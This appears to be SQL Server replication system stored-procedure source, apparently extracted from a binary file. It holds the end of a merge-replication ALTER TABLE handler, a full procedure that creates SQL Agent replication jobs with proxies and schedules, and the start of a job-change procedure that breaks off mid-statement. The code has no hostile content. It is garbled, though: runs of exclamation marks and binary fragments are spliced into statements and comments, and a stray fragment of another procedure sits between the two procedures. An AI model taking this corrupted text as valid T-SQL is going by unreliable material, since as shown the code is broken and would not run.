                        exec @retcode = sys.sp_MSpublicationview @publication = @pubname, @force_flag = 2, @articlename = @artname
                        if @retcode<>0 or @@ERROR<>0
                        begin
                            raiserror(25008, 16, -1) 
                                goto FAILURE
                         end
                        
                        --conflict table is at publisher side for centralized conflicts - 
                        --conflict table is at publisher and subscriber for decentralized conflicts
                        exec @retcode = sys.sp_MSAdjustConflictTable @qual_object_name, @pubid,@column, @column_change_type=3 --alter column
                        if @@ERROR<>0 or @retcode <>0
                                goto FAILURE
                     end
                    else if @conflict_logging <> 1 and @replicate_ddl & 1 <> 0 --adjust conflict table at subscriber side
                    begin
                            exec @retcode = sys.sp_MSAdjustConflictTable @qual_object_name, @pubid,@column, @column_change_type=3 --alter column
                            if @@ERROR<>0 or @retcode <>0 goto FAILURE                        
                      end

                    if not exists (select * from #merge_altertable where DDLsubtype=N'ADDCOLUMN' and id>@statement_id)
                    begin
                        exec @retcode = sys.sp_MSResetTriggerProcs @qual_object_name, @pubid, 1 /* @article_level_only */
                        if @@ERROR<>0 or @retcode <>0 goto FAILURE                        
                     end    

                end
                -- this contains other types
                else if @schemasubtype in (@schemasubtype_addpk,    --add primary key
                                        @schemasubtype_addun,       --add unique
                                        @schemasubtype_addfk,       --add reference
                                        @schemasubtype_adddf        --add default
                                        )
                begin
                    if @sync_mode  = 1 and @replicate_ddl & 1 <> 0
                    begin 
                        exec @retcode = sys.sp_MSNonSQLDDL @qual_object_name, @pubid, @column, @schemasubtype
                        if @retcode <>0 or @@ERROR<>0
                                goto FAILURE
                     end      

					if @schemasubtype = @schemasubtype_addfk
					begin
                        if(@dest_owner is not NULL) and (len(@dest_owner) > 0)
                            select @qual_check_object = QUOTENAME(@dest_owner) + N'.' + QUOTENAME(@column)
                        else 
                            select @qual_check_object = N'' + QUOTENAME(@column)
				
						select @temp_ddlcmds = N' if object_id(N''' +sys.fn_replreplacesinglequote(@qual_check_object)+ N''') is null ' + @temp_ddlcmds
						update dbo.sysmergeschemachange set schematext = @temp_ddlcmds where pubid=@pubid and schemaversion=@schemaversion                            
					end
                end
                else if @schemasubtype = @schemasubtype_dropconstraint -- drop constraint
                begin 
                    if @replicate_ddl & 1 <> 0
                    begin 
                        declare @is_biton bit
     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(f#{v\                   exec @retcode = sys.sp_MScheckcontext_merge_identityrangeddlbit  @is_biton OUTPUT
                        if @retcode <>0 or @@ERROR<>0
                                goto FAILURE
                        -- this is not identity range related dll operation
                        if @is_biton=0
                        begin
                            if @sync_mode  = 1
                            begin
                               -- we need to add special handle to drop constraint since ddl trigger fires
                               -- as after effect, and this means corresponding entry in metadata is gone
                               -- so we have no way to find base column for the constraints being dropped
                               -- if base column existed in some partition but not others, we need to prepend
                               -- check to drop constraint statement
                               -- see bug 659926
                                exec @retcode = sys.sp_MSNonSQLDDL @qual_object_name, @pubid, @column, @schemasubtype
                                if @retcode <>0 or @@ERROR<>0
                                        goto FAILURE
                             end
                            if @is_publisher=1 and 0=@islightweight
                            begin
                                select @temp_ddlcmds = schematext from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                                if(@dest_owner is not NULL) and (len(@dest_owner) > 0)
                                    select @qual_check_object = QUOTENAME(@dest_owner) + N'.' + QUOTENAME(@column)
                                else 
                                    select @qual_check_object = N'' + QUOTENAME(@column)                                

                                select @temp_ddlcmds = N' if exists (select * from sysconstraints where constid = object_id(N''' + sys.fn_replreplacesinglequote(@qual_check_object) collate database_default + N''')) ' + @temp_ddlcmds

                                -- Never overwrite schemasubtype of addcolumn, dropcolumn, altercolumn since these schema changes control  
                                -- the versioning of the procedures. The sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid) function uses
                                -- the schema subtype to locate the maximum schema version guid pertaining to an article. If the article has
                                -- had a significant schema change of addcolumn, dropcolumn, altercolumn (that causes procs to be reversioned)
                                -- in the same batch as some non-significant schemachanges such as drop constraints etc, the schemasubtype of
                                -- the significant schemachange needs to be preserved. 
                                select @schematype_existing = schematype , @schemasubtype_existing = schemasubtype from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                                if ((@schematype_existing = @SCHEMA_TYPE_DDL_ACTIONS) and @schemasubtype_existing in (@schemasubtype_addcolumn, @schemasubtype_dropcolumn, @schemasubtype_altercolumn))
                                    set @schemasubtype = @schemasubtype_existing
                                
                                update dbo.sysmergeschemachange 
                                    set schemasubtype = @schemasubtype, 
                                        schematext = @temp_ddlcmds
                                    where pubid=@pubid and schemaversion=@schemaversion                            
                            end
                        end
                    end                    
                end
                -- Modify the sysmergeschemachange alter statment to contain the if exists check - do this only at the publisher and only if the trigger/constraint exists at the subscriber 
                else if @schemasubtype in (@schemasubtype_disabletrigger, @schemasubtype_enabletrigger, @schemasubtype_dropconstraint, @schemasubtype_enableconstraint, @schemasubtype_disableconstraint)
                begin
                    if @is_publisher=1
                    begin
                        --Make sure the trigger/constraint exists in the subscriber database
                        select @temp_ddlcmds = schematext from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                        select @temp_ddlcmds = N' if object_id(N''' +sys.fn_replreplacesinglequote(quotename(@column))+ N''') is not null ' + @temp_ddlcmds

                        -- Never overwrite schemasubtype of addcolumn, dropcolumn, altercolumn since these schema changes control  
                        -- the versioning of the procedures. The sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid) function uses
                        -- the schema subtype to locate the maximum schema version guid pertaining to an article. If the article has
                        -- had a significant schema change of addcolumn, dropcolumn, altercolumn (that causes procs to be reversioned)
                        -- in the same batch as some non-significant schemachanges such as drop constraints etc, the schemasubtype of
                        -- the significant schemachange needs to be preserved. 
                        select @schematype_existing = schematype , @schemasubtype_existing = schemasubtype from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                        if ((@schematype_existing = @SCHEMA_TYPE_DDL_ACTIONS) and @schemasubtype_existing in (@schemasubtype_addcolumn, @schemasubtype_dropcolumn, @schemasubtype_altercolumn))
                            set @schemasubtype = @schemasubtype_existing
                        update dbo.sysmergeschemachange 
                            set schemasubtype = @schemasubtype, 
                                schematext = @temp_ddlcmds
                            where pubid=@pubid and schemaversion=@schemaversion
                    end                        
                end
                else if @schemasubtype in (@schemasubtype_addchk) and @column is not NULL and len(@column) > 0
                begin
                    -- skip if the check was part of add command
                    if @is_publisher=1 and 0=@islightweight and not exists (select * from #merge_altertable where schemasubtype = @schemasubtype_addcolumn)
                    begin                        
                        if(@dest_owner is not NULL) and (len(@dest_owner) > 0)
                            select @qual_check_object = QUOTENAME(@dest_owner) + N'.' + QUOTENAME(@column)
                        else 
                            select @qual_check_object = N'' + QUOTENAME(@column)
                    
                        select @temp_ddlcmds = N'if object_id(N''' +sys.fn_replreplacesinglequote(@qual_dest_object)+ N''') is not null and object_id(N''' + sys.fn_replreplacesinglequote(@qual_check_object) + N''') is null exec(''' 
                            + sys.fn_replreplacesinglequote('ALTER TABLE '
                            + @qual_dest_object + N' '
                            + @pass_through_scripts )+ N''')'
                                            
                        update dbo.sysmergeschemachange 
                            set schemasubtype = @schemasubtype, 
                                schematext = @temp_ddlcmds
                            where pubid=@pubid and schemaversion=@schemaversion                                             
                    end         
                end         
                else if @subtype = N'ENABLESPARSE'
                begin
                    --Merge replication does not support ALTER COLUMN ADD SPARSE for !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
f	XR\merge published columns
                    if	exists (select * from sys.columns col join #merge_altertable ma on col.name = ma.ColumnName
                			where col.object_id = @objid 
                			        and col.is_merge_published = 1
                				 and ma.DDLsubtype = N'ENABLESPARSE')
                    begin
                        raiserror(21863, 16, -1, @artname)
                        goto FAILURE
                    end                    
                end

                fetch #alter_table_cursor into @statement_id, @subtype, @column, @schemasubtype
            end -- while-loop over #alter_table_cursor 

            close #alter_table_cursor 
            deallocate #alter_table_cursor 
        end -- for snapshot_ready
        -- snapshot not ready, we jsut set metadata
        else -- snapshot hasn't been run yet
        begin
            declare #alter_table_cursor2 CURSOR LOCAL FAST_FORWARD FOR 
                select id, DDLsubtype, ColumnName, schemasubtype 
                from #merge_altertable
                order by id ASC
                for read only
            open #alter_table_cursor2
            fetch #alter_table_cursor2 
                into @statement_id, @subtype, @column, @schemasubtype

            while (@@fetch_status <> -1)
            begin
                --this contains addcolumn - do alter-table-add-column first
                if @schemasubtype=@schemasubtype_addcolumn
                begin
                    if 0=@islightweight
                    begin
                        update dbo.sysmergearticles set vertical_partition=1 where pubid=@pubid and objid=@objid
                        if @@ERROR<>0 goto FAILURE

                        if @bypassreplicatedllpub=0
                        begin
                            -- Indicate that this is an internal caller of sp_mergearticlecolumn
                            EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=1
                            IF @@ERROR <> 0 or @retcode <> 0
                                goto FAILURE

                            exec @retcode= sys.sp_mergearticlecolumn @pubname, @artname, @column, 'add', 'true'    
                            if @@ERROR<>0 or @retcode <>0 goto FAILURE

                            -- Turn off indication that this is an internal caller of sp_mergearticlecolumn
                            EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=0
                            IF @@ERROR <> 0 or @retcode <> 0
                                goto FAILURE
                        
                        end
                    end
                end
                --this contains dropcolumn 
                else if @schemasubtype=@schemasubtype_dropcolumn
                begin
                    if @is_publisher=1
                    begin
                    
                        --adjust column bitmask now that vertical partitioning is on
                        select @max_colid = max(column_id) from sys.columns where object_id = @objid
                        set @colid = 1
                        while (@colid < @max_colid + 1) --take care of the case where last column gets dropped
                        begin
                            exec @in_partition = sys.sp_MStestbit @bm=@columnsbm, @coltotest=@colid
                            --it current column among those dropped?
                            if @in_partition <> 0 and not exists (select * from sys.columns where object_id = @objid and column_id = @colid)
                            begin
                                --reset bit in column bitmask
                                exec @retcode=sys.sp_MSsetbit @columnsbm OUTPUT, @colid, 0
                                if @@ERROR<>0 or @retcode<>0 goto FAILURE                                            
                            end
                            set @colid = @colid + 1
                        end
                        --update current columns bitmap
                        update dbo.sysmergearticles set columns = @columnsbm where pubid=@pubid and objid=@objid
                         if @@ERROR<>0 goto FAILURE
                    end
                end
                fetch #alter_table_cursor2 into @statement_id, @subtype, @column, @schemasubtype    
            end -- while-loop over #alter_table_cursor2 
            close #alter_table_cursor2 
            deallocate #alter_table_cursor2 
        end -- for snapshot not ready
            
        fetch next from #each_publication into @pubname, @snapshot_ready, @pubid, @publisher, @publisher_db, @sync_mode, @conflict_logging, @replicate_ddl
    end -- while-loop over #each_publication    

    close #each_publication
    deallocate #each_publication

SUCCESS:

    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    commit tran
    return (0)

FAILURE:
    IF @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION sp_MSmerge_altertable
        commit tran
    end
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_repl_job_unsafe
(
  @name                   nvarchar(200),
  @subsystem              nvarchar(60) = 'TSQL',
  @owner_login_name		  nvarchar(256)= NULL,
  @server                 sysname      = NULL,
  @username               sysname      = NULL,
  @databasename           sysname      = NULL,
  @enabled                TINYINT      = 0,
  @freqtype               INT          = 2, -- 2 means OnDemand
  @freqinterval           INT          = 1,
  @freqsubtype            INT          = 1,
  @freqsubinterval        INT          = 1,
  @freqrelativeinterval   INT          = 1,
  @freqrecurrencefactor   INT          = 1,
  @activestartdate        INT          = 0,
  @activeenddate          INT          = 0,
  @activestarttimeofday   INT          = 0,
  @activeendtimeofday     INT          = 0,
  @nextrundate            INT          = 0,
  @nextruntime            INT          = 0,
  @runpriority            INT          = 0,
  @emailoperatorname      nvarchar(100) = NULL,
  @retryattempts          INT          = NULL,
  @retrydelay             INT          = 0,
  @command                nvarchar(4000)= NULL,
  @loghistcompletionlevel INT          = 2,
  @emailcompletionlevel   INT          = 0,
  @description            nvarchar(255) = NULL,
  @tagadditionalinfo      nvarchar(96)  = NULL,
  @tagobjectid            INT          = NULL,
  @tagobjecttype          INT          = NULL,
  @cmdexecsuccesscode     INT          = 0,
  @category_name          sysname = NULL, -- New for 7.0
  @failure_detection      BIT            = 0,
  @agent_id               INT            = NULL,
  @proxy_id               INT            = NULL,    -- Either provide @proxy_id or @job_login & @job_password                 
  @job_login              nvarchar(257) = NULL,
  @job_password           sysname         = NULL,
  @job_id                 BINARY(16)     = NULL OUTPUT,
  @job_step_uid           UNIQUEIDENTIFIER = NULL OUTPUT
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
    DECLARE @retval INT
    declare @step_id int
    declare @step_name nvarchar(100)
    declare @step_command nvarchar(1024)
    declare @on_fail_action tinyint
    declare @on_success_action tinyint
    declare @schedule_name nvarchar(100)
    declare @comments nvarchar(100)
    declare @job_domain sysname
    declare @create_credential_ddl nvarchar(4000)
    declare @proxy_credential_name sysname
    declare @maxpartlen int
    declare @count int
    declare @count_str sysname
    declare @iscontinuous bit

    SET NOCOUNT ON

    SELECT @retval = 1 -- 0 means success, 1 means failure
    set @step_id = 1
    set @on_fail_action = 2    -- Return failure
    set @on_success_action = 1    -- Return success
    set @step_command = NULL
    set @iscontinuous = 0

    SELECT @databasename = ISNULL(@databasename, DB_NAME())

    -- Return immediately if this is running on SQLExpress or SQLWeb
    IF (sys.fn_MSrepl_editionid () in (22, 40))
        RETURN 0
    
    /*
    ** Set default retries to every minute for 10 minutes.
    **
    */
    if @retryattempts = NULL 
    	and @retrydelay = 0
    begin
     	select @retryattempts = 10
     	select @retrydelay = 1
    end
	
    BEGIN TRANSACTION
    SAVE TRANSACTION sp_MSadd_repl_job

    -- ensure that only one is specified
    IF @proxy_id IS NOT NULL
        AND @job_login IS NOT NULL
    BEGIN
        -- MSG : not localized because it is only for DEVs using this proc
        RAISERROR('@proxy_id and @job_login are mutually exclusive. Specify one or the other.', 16, -1)
        goto UNDO
    END
    -- proxy id provided so we only need to grant login to proxy
    ELSE IF @proxy_id IS NOT NULL
    BEGIN
    	-- get an applock to avoid failures from another
		-- repl user granting login to proxy for the same account
		-- exit if it takes longer than 30 seconds....
		EXEC @retval = sys.sp_getapplock @Resource = 'Create_Repl_Credential', 
	                                    @LockMode = 'Exclusive', 
	                                    @LockOwner = 'Transaction',
	                                    @LockTimeout = -1, -- infinite
	                                    @DbPrincipal = N'db_owner'
	    IF @@ERROR <> 0 or @retval < 0
			GOTO UNDO

    	CREATE TABLE #enm_login_for_proxy (proxy_id int, proxy_name sysname, flags int, name sysname, sid varbinary(85), principal_id int)
    	
		INSERT INTO #enm_login_for_proxy
			EXEC msdb.dbo.sp_enum_login_for_proxy @name = @owner_login_name, 
													@proxy_id = @proxy_id
	
        SELECT @job_login = NULL,
                @job_password = NULL

		IF ISNULL(IS_SRVROLEMEMBER('sysadmin', @owner_login_name), 0) = 0
			AND NOT EXISTS(SELECT * 
						FROM #enm_login_for_proxy
						WHERE proxy_id = @proxy_id 
							AND sid = SUSER_SID(@owner_login_name, 0))
		BEGIN
			EXEC @retval = msdb.dbo.sp_grant_login_to_proxy @proxy_id = @proxy_id, 
															@login_name = @owner_login_name
			IF @@ERROR <> 0 or @retval <> 0
				GOTO UNDO
		END
			
		DROP TABLE #enm_login_for_proxy

		-- we release the applock at this point because 
		-- the remaining steps will not be affected by
		-- any type of name collisions etc...
	    EXEC @retval = sys.sp_releaseapplock @Resource = 'Create_Repl_Credential', 
						                            @LockOwner =  'Transaction',
						                            @DbPrincipal =  'db_owner'
	    IF @@ERROR <> 0 or @retval <> 0
			GOTO UNDO
    END
    -- job login info should be provided
    -- Here we will create a CREDENTIAL for this job
    ELSE IF @job_login IS NOT NULL
    BEGIN
    	EXEC @retval = sys.sp_MSrepladdproxyaccount @job_name = @name,
    												@owner_login_name = @owner_login_name,
													@subsystem = @subsystem,
													@job_login = @job_login,
													@job_password = @job_password,
													@proxy_id = @proxy_id OUTPUT
		IF @@ERROR<>0 or @retval<>0
            goto UNDO
    END

    -- Add the job
    EXECUTE @retval = msdb.dbo.sp_add_job
      @job_name                   = @name,
      @enabled                    = @enabled,
      @start_step_id              = 1,
      @description                = @description,
      @category_name              = @category_name,
      @notify_level_eventlog      = @loghistcompletionlevel,
      @notify_level_email         = @emailcompletionlevel,
      @notify_email_operator_name = @emailoperatorname,
      @owner_login_name			  = @owner_login_name,
      @job_id                     = @job_id OUTPUT

    IF (@retval <> 0)
    BEGIN
        GOTO UNDO
    END

    -- Add startup message step
    if @failure_detection = 1
    begin

        select @step_name = 
            case UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS)
                when N'SNAPSHOT' then isnull(formatmessage(21410), N'Message 21410')
                when N'LOGREADER' then isnull(formatmessage(20528), N'Message 20528')
                when N'DISTRIBUTION' then isnull(formatmessage(21411), N'Message 21411')
                when N'MERGE' then isnull(formatmessage(21412), N'Message 21412')
                when N'QUEUEREADER' then isnull(formatmessage(21422), N'Message 21422')
            end 
            ,@comments = isnull(formatmessage(20529), N'Message 20529')

        -- Construct command based on subsystem type
        select @step_command =
            case UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) 
                WHEN 'SNAPSHOT' THEN
                N'sp_MSadd_snapshot_history @perfmon_increment = 0,  @agent_id = ' + 
                    convert (nvarchar(10), @agent_id) + N', @runstatus = 1,  
                    @comments = N''' + @comments + ''''
                WHEN 'LOGREADER' THEN
                N'sp_MSadd_logreader_history @perfmon_increment = 0, @agent_id = ' + 
                    convert (nvarchar(10), @agent_id) + N', @runstatus = 1, 
     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<p
O)

               @comments = N''' + @comments + ''''
                WHEN 'DISTRIBUTION' THEN
                N'sp_MSadd_distribution_history @perfmon_increment = 0, @agent_id = ' + 
                    convert (nvarchar(10), @agent_id) + N', @runstatus = 1,  
                    @comments = N''' + @comments + ''''
                WHEN 'MERGE' THEN
                N'sp_MSadd_merge_history @perfmon_increment = 0, @agent_id = ' + 
                    convert (nvarchar(10),@agent_id) + N', @runstatus = 1,  
                    @comments = N''' + @comments + ''''
                WHEN 'QUEUEREADER' THEN
                N'sp_MSadd_qreader_history @perfmon_increment = 0, @agent_id = ' + 
                    convert (nvarchar(10), @agent_id) + N', @runstatus = 1,  
                    @comments = N''' + @comments + ''''                    
            end
    
        -- Add the job step
        EXECUTE @retval = msdb.dbo.sp_add_jobstep_internal
          @job_id                = @job_id,
          @step_id               = @step_id,
          @step_name             = @step_name,
          @command               = @step_command,
          @cmdexec_success_code  = @cmdexecsuccesscode,
          @on_success_action     = 3,    -- Goto next step
          @on_fail_action        = 3,    -- Goto next step
          @server                = @server,
          @database_name         = @databasename,
          @database_user_name    = @username,
          @os_run_priority       = @runpriority
  
        IF (@retval <> 0)
        BEGIN
            GOTO UNDO
        END

        set @step_id = @step_id + 1
        set @on_fail_action = 3            -- Goto next step
    end

	-- if frequency type is 64 (autostart) then
	-- we key off of this and set continuous mode to 1.
	-- in continuous mode we want the agent to retry
	-- every minute as many times so we're fault tolerant
	IF @freqtype = 0x40
	BEGIN
		SELECT @iscontinuous = 1,
				@retryattempts = 2147483647,
				@retrydelay = 1
	END
	
    -- Add the job step
     select @step_name = isnull(formatmessage(20530), N'Message 20530')
    EXECUTE @retval = msdb.dbo.sp_add_jobstep_internal
      @job_id                = @job_id,
      @step_id               = @step_id,
      @step_name             = @step_name,
      @subsystem             = @subsystem,
      @command               = @command,
      @cmdexec_success_code  = @cmdexecsuccesscode,
      @on_success_action     = @on_success_action,
      @on_fail_action        = @on_fail_action,
      @server                = @server,
      @database_name         = @databasename,
      @database_user_name    = @username,
      @retry_attempts        = @retryattempts,
      @retry_interval        = @retrydelay,
      @os_run_priority       = @runpriority,
      @proxy_id              = @proxy_id,
      @step_uid              = @job_step_uid OUTPUT

    IF (@retval <> 0)
    BEGIN
        GOTO UNDO
    END

    -- Add failure message step
    if @failure_detection = 1
    begin
        -- Construct command
        select @step_id = @step_id + 1
                ,@step_name = isnull(formatmessage(20531), N'Message 20531')
                ,@step_command = N'sp_MSdetect_nonlogged_shutdown @subsystem = ''' + @subsystem + N''', @agent_id = ' + convert (nvarchar(10), @agent_id) 

        -- Add the job step
        EXECUTE @retval = msdb.dbo.sp_add_jobstep_internal
          @job_id                = @job_id,
          @step_id               = @step_id,
          @step_name             = @step_name,
          @command               = @step_command,
          @cmdexec_success_code  = @cmdexecsuccesscode,
          @on_success_action     = 2,                    -- Always quit with failure
          @server                = @server,
          @database_name         = @databasename,
          @database_user_name    = @username,
          @os_run_priority       = @runpriority

        IF (@retval <> 0)
        BEGIN
            GOTO UNDO
        END
    end

    -- Add the job schedule
    IF (@activestartdate = 0)
      	SELECT @activestartdate = NULL
    IF (@activeenddate = 0)
    	SELECT @activeenddate = NULL
    
    -- But if @activeenddate is NOT NULL, then @activestartdate cannot be allowed to be NULL either.  Set it to today's date converted to the int format used yyyymmdd
    IF (@activeenddate IS NOT NULL AND @activestartdate IS NULL)
    	SELECT @activestartdate=DATEPART(YYYY,getdate()) * 10000 + DATEPART(MM,getdate()) * 100 + DATEPART(DD,getdate())

    -- But never let startdate be > end date
    IF (@activestartdate > @activeenddate)
    	SELECT @activestartdate=@activeenddate
	IF (@activestarttimeofday = 0)
		SELECT @activestarttimeofday = NULL
	IF (@activeendtimeofday = 0)
		SELECT @activeendtimeofday = NULL
	
    IF (@freqtype <> 0x2) -- OnDemand tasks simply have no schedule in 7.0
    BEGIN
		SELECT @schedule_name = isnull(formatmessage(20532), N'Message 20532')

		EXECUTE @retval = msdb.dbo.sp_add_jobschedule
					@job_id                 = @job_id,
					@name                   = @schedule_name,
					@enabled                = 1,
					@freq_type              = @freqtype,
					@freq_interval          = @freqinterval,
					@freq_subday_type       = @freqsubtype,
					@freq_subday_interval   = @freqsubinterval,
					@freq_relative_interval = @freqrelativeinterval,
					@freq_recurrence_factor = @freqrecurrencefactor,
					@active_start_date      = @activestartdate,
					@active_end_date        = @activeenddate,
					@active_start_time      = @activestarttimeofday,
					@active_end_time        = @activeendtimeofday

		IF (@retval <> 0)
		BEGIN
			GOTO UNDO
		END
    END

    -- And finally, add the job server
    EXECUTE @retval = msdb.dbo.sp_add_jobserver @job_id = @job_id, @server_name  = '(local)'
    IF (@retval <> 0)
    BEGIN
      GOTO UNDO
    END

  	COMMIT TRANSACTION

	-- If this is an Continuous LogReader or Distribution or Merge job, add the [new] '-Continuous' paramter to the command
	IF @iscontinuous = 1 
		AND (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'LOGREADER'
			OR UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'DISTRIBUTION' 
			OR UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'MERGE'
			OR UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'QUEUEREADER')
	BEGIN
		UPDATE msdb.dbo.sysjobsteps
			SET command = command + ' -Continuous'
			WHERE (job_id = @job_id)
				AND ((@failure_detection = 0 and step_id = 1) or (@failure_detection = 1 and step_id = 2))
	END  

	-- If this is an Continuous job, start it now (for backwards compatibility with 6.x SQLExecutive behaviour)
	IF @iscontinuous = 1 
		AND @enabled = 1
	BEGIN
		EXECUTE msdb.dbo.sp_start_job @job_id = @job_id, @error_flag = 0
	END
	
  	RETURN(0)
UNDO:
    ROLLBACK TRANSACTION sp_MSadd_repl_job
    COMMIT TRANSACTION
    
    RETURN(1)
END
qqRROR (21049, @err_level, -1, @login, @publication)
    ELSE
        RAISERROR (21688, @err_level, -1, @login, @publisher)
    return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<( vICREATE PROCEDURE sys.sp_MSchange_repl_job_unsafe
(
	@id 							uniqueidentifier,
	@step_uid						uniqueidentifier,
	@name							nvarchar(100) = NULL,
	@frequency_type 				int = NULL,
	@frequency_interval 			int = NULL,
	@frequency_subday				int = NULL,
	@frequency_subday_interval		int = NULL,
	@frequency_relative_interval	int = NULL,
	@frequency_recurrence_factor	int = NULL,
	@active_start_date				int = NULL,
	@active_end_date				int = NULL,
	@active_start_time_of_day		int = NULL,
	@active_end_time_of_day 		int = NULL,
	@login							nvarchar(257) = NULL,
	@password						sysname = NULL,
	@proxy_id                       int = NULL OUTPUT 
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
	DECLARE @retcode			int,
			@command			nvarchar(4000),
			@schedule_name		sysname,
			@schedule_id		int, 
			@credential 		sysname,
			@identity			sysname,
			@step_id			int,
			@subsystem			sysname,
			@owner_login_name	sysname,
			@temp_sched_name	sysname
			
	-- set schedule name
	SELECT @command 			= NULL,
			@schedule_name		= ISNULL(formatmessage(20532), N'Message 20532'),
			@schedule_id		= 0, 
			@credential 		= NULL,
			@identity			= NULL,
			@step_id			= -1,
			@subsystem 			= NULL,
			@owner_login_name	= NULL

    -- Return immediately if this is running on SQLExpress or SQLWeb
    IF (sys.fn_MSrepl_editionid () in(22, 40))
        RETURN 0

	BEGIN TRANSACTION tr_sp_MSchangerepljob
	SAVE TRANSACTION tr_sp_MSchangerepljob

	-- modify the job name if it was provided
	IF @name IS NOT NULL
	BEGIN		
		EXEC @retcode = msdb.dbo.sp_update_job @job_id	= @id, 
											@new_name	= @name
		IF @@error <> 0 OR @retcode <> 0
			GOTO FAILURE
	END
	
	-- modify the job schedule if it was provided
	IF @frequency_type IS NOT NULL
		OR @frequency_interval IS NOT NULL
		OR @frequency_subday IS NOT NULL
		OR @frequency_subday_interval IS NOT NULL
		OR @frequency_relative_interval IS NOT NULL
		OR @frequency_recurrence_factor IS NOT NULL
		OR @active_start_date IS NOT NULL
		OR @active_end_date IS NOT NULL
		OR @active_start_time_of_day IS NOT NULL
		OR @active_end_time_of_day IS NOT NULL
	BEGIN
		-- if we are setting @frequency_type to on-demand then we 
		-- need to enumerate through the job schedules and drop them
		IF @frequency_type = 0x2
		BEGIN
		  	DECLARE #repl_jobschedules CURSOR LOCAL FAST_FORWARD 
				FOR SELECT sjs.schedule_id,
							sss.name
						FROM msdb.dbo.sysjobschedules sjs
							JOIN msdb.dbo.sysschedules sss
								ON sjs.schedule_id = sss.schedule_id
						WHERE job_id = @id

			OPEN #repl_jobschedules

			FETCH #repl_jobschedules INTO @schedule_id, @temp_sched_name
			
			WHILE @@FETCH_STATUS <> -1
			BEGIN
				-- first detach the schedule from the current job
				EXEC @retcode = msdb.dbo.sp_detach_schedule @job_id = @id,
																@schedule_id = @schedule_id
				IF @@ERROR <> 0 OR @retcode <> 0
					GOTO FAILURE

				-- next... if the schedule is created by repl and there 
				-- are no other jobs using it we will delete the schedule
				IF @temp_sched_name = @schedule_name
